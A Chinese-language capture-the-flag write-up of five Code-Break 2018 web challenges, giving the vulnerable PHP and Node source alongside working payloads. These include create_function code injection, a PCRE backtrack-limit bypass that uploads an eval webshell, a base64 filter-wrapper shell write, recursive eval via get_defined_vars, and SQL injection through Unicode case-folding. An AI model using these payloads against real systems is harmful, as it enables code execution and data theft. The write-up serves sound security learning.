Code-Break-2018

前言

年底了,来一发 Code-Break 入入魂。给无滋无味的预习增添一些色彩

膜了几位师傅的思路 let‘s go~!

0x1 easy_function

源码

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

这题的思路在于不影响函数调用的情况下绕过正则,fuzz出 %5c 在字符前仍能进行调用,通过$arg 传入 payload

4

参考

PHP create_function()代码注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
$f1 = create_function('$a',$str2);
?>

/*
payload
id=2;}phpinfo();//
*/

源代码:
function fT($a) {
echo "test".$a;
}

注入后代码:
function fT($a) {
echo "test";}
phpinfo();//;//此处为注入代码。
}

查看目录

1
action=\create_function&arg=1;}print_r(scandir(%22/var/www/%22));//

查看flag

1
action=\create_function&arg=1;}print_r(file("/var/www/flag_h0w2execute_arb1trary_c0de"));//

0x2 easy_pcrewaf

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
} 1

可以看到是一个上传文件

创建 html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://51.158.75.42:8088/" method="POST" enctype="multipart/form-data">

<input type="file" name="file" />
<input type="submit" />
</form>

</body>
</html>

参考

PHP利用PCRE回溯次数限制绕过某些安全限制

深悉正则(pcre)最大回溯/递归限制

php的 preg_match 设定了 pcre.backtrack_limit 。默认值大小为 1000000

超过这个值 preg_match 将返回 false 从而绕过正则匹配。

生成payload

1
2
3
4
//1.py
a='<?php @eval($_GET["cmd"]);//'+"a"*1000000
print a
//python 1.py > 1.php

上传拿 shell

(这里似乎后端设置了不可执行system,故上传eval

0x3 easy-phpmagic

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//section1
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//section2
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

echo $output;
endif; ?></pre>

这题思路是通过 domain 参数进行写shell,然后通过 log_name 参数列路径读取shell,而 log_name 是由 $_SERVER['SERVER_NAME']$log_name组成,可以知道前者就是 host ,后者则是我们传入的 log 参数 。

其中,domain 经过 escapeshellarg 后无法进行命令注入。

读取时经过 htmlspecialchars 将文件内容转换为html实体,无法进行直接编译。并且还有 pathinfo 后缀过滤。

参考

php & apache2 &操作系统之间的一些黑魔法

通过后缀 /. 绕过 pathinfo 函数。

写shell就通过伪协议编码写入。

还有一个trick:就是php在进行base64解码的时候如果遇到不是base64编码的字符会直接跳过。

最终构造payload

1
2
3
4
POST / HTTP/1.1
Host: php

domain=PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg&log=://filter/write=convert.base64-decode/resource=shell.php/.

然后通过路径读取访问我们的shell

0x4 easy-phplimit

源码

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

这题和RCTF 2018r-cursive 类似

参考

r-cursive

环境由 apache变为nginx

故原题的payload getallheaders()无法使用,改为 get_defined_vars()

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /?code=var_dump(get_defined_vars()); HTTP/1.1

array(4) {
["_GET"]=>
array(1) {
["code"]=>
string(29) "var_dump(get_defined_vars());"
}
["_POST"]=>
array(0) {
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
}
1
2
3
GET /?code=var_dump(next(current(get_defined_vars())));&1=print_r(scandir("/var/www/")); HTTP/1.1

string(30) "print_r(scandir("/var/www/"));"
1
2
3
4
5
6
7
8
9
GET /?code=eval(next(current(get_defined_vars())));&1=print_r(scandir("/var/www/")); HTTP/1.1

Array
(
[0] => .
[1] => ..
[2] => flag_phpbyp4ss
[3] => html
)
1
GET /?code=eval(next(current(get_defined_vars())));&1=print_r(file("/var/www/flag_phpbyp4ss")); HTTP/1.1

0x5 easy-nodechr

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename

const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))

async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')

await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)

router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))

app.use(router.routes()).use(router.allowedMethods());

app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}

function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}

return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
}

}

ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

async function static(ctx, next) {
await send(ctx, ctx.path)
}

async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}

await ctx.render('admin', {
'user': ctx.session.user
})
}

async function source(ctx, next) {
await send(ctx, basename(__filename))
}

main()

main code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}

return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
}

}

ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

题目中禁用了unionselect,但在登录时使用了危险函数toUpperCase()

这里参考p佬的 Fuzz中的javascript大小写特性

1
2
3
"ı".toUpperCase() == I
"ſ".toUpperCase() == S
"K".toLowerCase() == k

构造payload

1
username=1&password=' un%c4%b1on %c5%bfelect 1,(%c5%bfelect flag from flags),1'

参考链接

PHP create_function()代码注入

PHP利用PCRE回溯次数限制绕过某些安全限制

深悉正则(pcre)最大回溯/递归限制

php & apache2 &操作系统之间的一些黑魔法

r-cursive

Fuzz中的javascript大小写特性

-------------本文结束 感谢阅读-------------